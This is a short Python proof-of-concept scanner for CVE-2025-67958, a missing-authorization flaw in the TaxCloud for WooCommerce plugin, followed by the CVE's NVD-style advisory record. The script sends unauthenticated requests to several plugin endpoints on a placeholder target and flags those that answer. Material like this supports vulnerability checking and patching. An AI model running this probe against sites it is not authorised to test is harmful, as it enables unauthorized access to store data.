CVE-2025-67958

import requests # CVE-2025-67958 PoC - Missing Authorization in TaxCloud for WooCommerce # Target: WordPress site with vulnerable TaxCloud plugin (<=8.3.8) TARGET_URL = "http://target-wordpress-site.com" def check_vulnerability(): """Check if the target is vulnerable to CVE-2025-67958""" # Try to access sensitive endpoint without authentication endpoints = [ "/wp-json/taxcloud/v1/calculate", "/wp-json/taxcloud/v1/verify-address", "/wp-json/taxcloud/v1/get-taxes", "/wp-admin/admin-ajax.php?action=taxcloud_calculate", "/wp-admin/admin-ajax.php?action=taxcloud_verify_address" ] headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-67958-PoC)" } # Sample payload for tax calculation endpoint sample_payload = { "customer_id": "guest_user", "cart_items": [ {"TIC": "00000", "Price": 100.00, "Qty": 1} ], "origin": {"Zip5": "10001"}, "destination": {"Zip5": "10002"} } print(f"[*] Testing {TARGET_URL} for CVE-2025-67958...") for endpoint in endpoints: url = TARGET_URL + endpoint try: # Send unauthenticated request response = requests.post(url, json=sample_payload, headers=headers, timeout=10) # If we get a successful response without 401/403, vulnerability exists if response.status_code in [200, 201]: print(f"[+] VULNERABLE: {endpoint} - Returns data without authentication") print(f" Response: {response.text[:200]}...") elif response.status_code == 403: print(f"[-] Protected: {endpoint} - Access denied") else: print(f"[*] Endpoint: {endpoint} - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error testing {endpoint}: {e}") print("\n[*] Scan complete. If vulnerabilities found, update TaxCloud plugin to version > 8.3.8") if __name__ == "__main__": check_vulnerability()

{"cve": {"id": "CVE-2025-67958", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:05.393", "lastModified": "2026-04-27T18:16:51.487", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Taxcloud TaxCloud for WooCommerce simple-sales-tax allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects TaxCloud for WooCommerce: from n/a through <= 8.3.8."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en Taxcloud TaxCloud para WooCommerce simple-sales-tax permite explotar niveles de seguridad de control de acceso incorrectamente configurados. Este problema afecta a TaxCloud para WooCommerce: desde n/a hasta &lt;= 8.3.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/simple-sales-tax/vulnerability/wordpress-taxcloud-for-woocommerce-plugin-8-3-8-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}